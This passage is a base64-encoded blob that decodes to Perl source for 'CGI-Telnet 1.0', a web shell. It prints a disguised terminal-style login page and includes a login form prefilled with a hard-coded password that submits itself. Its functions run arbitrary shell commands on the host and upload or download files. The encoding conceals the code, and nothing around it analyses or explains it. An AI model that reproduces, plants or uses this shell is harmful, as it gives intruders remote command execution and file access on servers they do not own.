E1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCI+CjxodG1sPgo8aGVhZD4KPHRpdGxlPkNHSS1UZWxuZXQgVmVyc2lvbiAxLjA8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KPHRkIGJnY29sb3I9IiNDMkJGQTUiIGJvcmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0iY2VudGVyIj4KPGI+PGZvbnQgY29sb3I9IiMwMDAwODAiIHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwvdGQ+Cjx0ZCBiZ2NvbG9yPSIjMDAwMDgwIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIiBjb2xvcj0iI0ZGRkZGRiI+PGI+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMCAtIENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0MyQkZBNSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+RGlzY29ubmVjdDwvYT4gfAo8YSBocmVmPSJodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwiPkhlbHA8L2E+CjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBjb2xvcj0iI0MwQzBDMCIgc2l6ZT0iMyI+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpblNjcmVlbgp7CgkkTWVzc2FnZSA9IHEkPHByZT48Zm9udCBjb2xvcj0iIzY2OTk5OSI+IF9fX19fICBfX19fXyAgX19fX18gICAgICAgICAgX19fX18gICAgICAgIF8gICAgICAgICAgICAgICBfCi8gIF9fIFx8ICBfXyBcfF8gICBffCAgICAgICAgfF8gICBffCAgICAgIHwgfCAgICAgICAgICAgICB8IHwKfCAvICBcL3wgfCAgXC8gIHwgfCAgIF9fX19fXyAgIHwgfCAgICBfX18gfCB8IF8gX18gICAgX19fIHwgfF8KfCB8ICAgIHwgfCBfXyAgIHwgfCAgfF9fX19fX3wgIHwgfCAgIC8gXyBcfCB8fCAnXyBcICAvIF8gXHwgX198CnwgXF9fL1x8IHxfXCBcIF98IHxfICAgICAgICAgICB8IHwgIHwgIF9fL3wgfHwgfCB8IHx8ICBfXy98IHxfCiBcX19fXy8gXF9fX18vIFxfX18vICAgICAgICAgICBcXy8gICBcX19ffHxffHxffCB8X3wgXF9fX3wgXF9ffCAxLjAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gICAgICAgICAgICAgICAgICAgICAgX19fX19fICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+wqkgMjAwMSwgUm9oaXRhYiBCYXRyYTwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+CiAgICAgICAgICAgICAgICAgICAuLSZxdW90OyAgICAgICZxdW90Oy0uCiAgICAgICAgICAgICAgICAgIC8gICAgICAgICAgICBcCiAgICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICAgIHwsICAuLS4gIC4tLiAgLHwKICAgICAgICAgICAgICAgICB8ICkoX28vICBcb18pKCB8CiAgICAgICAgICAgICAgICAgfC8gICAgIC9cICAgICBcfAogICAgICAgKEBfICAgICAgIChfICAgICBeXiAgICAgXykKICBfICAgICApIFw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58SUlJSUlJfDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPi88L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fCjwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+IChfKTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+QDhAODwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+e308L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPiZsdDtfX19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+fC1cSUlJSUlJLy18PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fX19fX19fX19fX19fX19fX19fX19fX18mZ3Q7PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICApXy8gICAgICAgIFwgICAgICAgICAgLyAKICAgICAgIChAICAgICAgICAgICBgLS0tLS0tLS1gCiAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNBRTgzMDAiPlcgQSBSIE4gSSBOIEc6IFByaXZhdGUgU2VydmVyPC9mb250PjwvcHJlPgokOwojJwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpUcnlpbmcgJFNlcnZlck5hbWUuLi48YnI+CkNvbm5lY3RlZCB0byAkU2VydmVyTmFtZTxicj4KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQo8Y29kZT4kTWVzc2FnZQpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UKewoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8YnI+bG9naW46IGFkbWluPGJyPgpwYXNzd29yZDo8YnI+CkxvZ2luIGluY29ycmVjdDxicj48YnI+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIGlkPSJjZ2kiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPgpsb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgdmFsdWU9Im13cyIgbmFtZT0icCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+CjwvZm9ybT4KPHNjcmlwdD5zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NnaScpLnN1Ym1pdCgpO30sMTUwKTs8L3NjcmlwdD4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9mb250PjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEdldENvb2tpZXMKewoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsKCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpCgl7CgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOwoJCSRDb29raWVzeyRpZH0gPSAkdmFsOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ291dFNjcmVlbgp7CglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dvdXQKewoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQoJJlByaW50UGFnZUhlYWRlcigicCIpOwoJJlByaW50TG9nb3V0U2NyZWVuOwoJJlByaW50TG9naW5TY3JlZW47CgkmUHJpbnRMb2dpbkZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhlYWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRlIj4KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXByaW50IDw8RU5EOwo8L3htcD4KPGNvZGU+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4KPGJyPktpbGxlZCBpdCEKPGNvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgkJCgkJJE9sZERpciA9ICRDdXJyZW50RGlyOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJE9sZERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRPbGREaXJdXCQgIjsKCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT4iOwoJfQoJZWxzZSAjIHNvbWUgb3RoZXIgY29tbWFuZCwgZGlzcG